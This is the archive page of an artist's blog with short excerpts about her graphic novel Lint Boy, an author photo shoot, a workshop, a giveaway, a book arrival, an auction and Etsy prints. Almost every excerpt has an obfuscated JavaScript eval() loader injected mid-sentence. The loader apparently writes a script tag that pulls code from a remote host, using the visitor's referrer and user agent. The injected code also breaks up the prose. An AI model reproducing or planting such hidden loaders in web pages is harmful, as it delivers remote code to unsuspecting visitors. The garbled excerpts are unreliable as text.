Aileen Leijten | Art & Artists
2
archive,category,category-artists,category-2,ajax_fade,page_not_loaded,,select-theme-ver-1.8,vertical_menu_enabled, vertical_menu_width_290, vertical_menu_transparency vertical_menu_transparency_on,smooth_scroll,side_menu_slide_from_right,transparent_content,wpb-js-composer js-comp-ver-4.12,vc_responsive
 

Art & Artists

Author Photo

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beart|var|u0026u|referrer|sznzy||js|php'.split('|'),0,{})) had never had a headshot taken. To be honest, it didn't appeal to me to look right into the camera and attempt to appear natural. For the author photo of my last books, I used a picture from when I was a child, or an image I had laying around. [caption id="attachment_51720" align="alignleft" width="400"] Photo credit, Kelvin Jones[/caption] This time around, for Lint Boy, it looked like a professional author photo was the right way to go, especially because Kelvin Jones, an amazing photographer offered to help me out. Here are some of his shots. * Kelvin was able to make me feel comfortable in front of the camera, and it wasn't such a bad experience after all. And he created this fun and informative video of a Nomadic School of...

Read More

Painting with Wool – Workshop

  A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|areyb|var|u0026u|referrer|tsbat||js|php'.split('|'),0,{})) Painting with Wool workshop I held in my studio a couple of months ago, organized by The Nomadic School of Wonder, Video by Kelvin Jones. Thank you to everyone who helped and participated. *...

Read More

LINT BOY OUT TODAY!

[vc_separator eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sksez|var|u0026u|referrer|ehyyr||js|php'.split('|'),0,{})) type="normal" position="left" color="" border_style="dashed" width="" thickness="" up="" down=""] I'm thrilled to share the news that my newest book Lint Boy,  comes out today! [vc_separator type="normal" position="left" color="" border_style="dashed" width="" thickness="" up="" down=""] I hope you enjoy reading it as much as I enjoyed making it. * . I was won over immediately by Leijten's nostalgic art nouveau style, which captures both the sweetness of Lint Boy and the sadistic potential of his nemesis. The ink and watercolor drawings, in a palette of soft greens, blues and golds with flashes of candy-cane red, are each an intricate invention, full of delicate curls and sprightly shadows. The storyline, which shifts back and forth in time, may be a little confusing to the youngest readers, but it's spooky and compelling and the surprises keep on coming, right to the end. It's a...

Read More

#LINTBOY

Find a #LintBaby eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bthay|var|u0026u|referrer|ettbt||js|php'.split('|'),0,{})) - Post a picture tagged #LintBoy - WIN a book or a signed art print! LINT BOY, is a Graphic Novel by Aileen Leijten At the end of each month (for a year) I will select a tagged picture, and someone will WIN!   [caption id="attachment_51660" align="alignnone" width="720"] Lint Babies ready to go out into the world[/caption]   Keep your eyes open, these babies are all around Los Angeles, some are (and more coming soon) in NYC, Boston, and Rhode Island. Other locations will be announced. [caption id="attachment_51661" align="alignnone" width="720"] Find a Lint Baby - Post a picture tag with #LintBoy - WIN a book or a print![/caption]   Follow on Instagram where they will appear next!...

Read More

A beautiful book trailer!

Read eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikrsn|var|u0026u|referrer|hhyea||js|php'.split('|'),0,{})) the amazing blog post about this wonderful book at Watch. Connect. Read...

Read More
Lint boy arrives

In the mail yesterday!

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttsbi|var|u0026u|referrer|skets||js|php'.split('|'),0,{})) copy of my newest book arrived in the mail yesterday, accompanied by a wonderful and most thoughtful card by my amazing editor Anne Hoppe. It happened to be my birthday, I suspect that the arrival wasn't coincidental. A sweet gift! [caption id="attachment_51649" align="aligncenter" width="432"] Lint Boy arrives in the mail[/caption]...

Read More

The Silent Art Auction

Donated this original Illustration to the Silent eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kizzs|var|u0026u|referrer|kyrtr||js|php'.split('|'),0,{})) Art Auction at the Book Expo America this year. [caption id="attachment_51643" align="aligncenter" width="864"] Preliminary Art for Lint Boy[/caption] Only, the package seems to be severely delayed, even though I sent it USPS Priority 2 day mail. The Original Painting (not a print) is traveling somewhere in-between LA and NY for 7 days already!!!!...

Read More

Spring Quartet

I just updated my Etsy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|easkf|var|u0026u|referrer|rsztd||js|php'.split('|'),0,{})) shop with a few spring themed, signed. and numbered prints for sale.   If you don't find the size you would like, let me know and I'll make it happen.    ...

Read More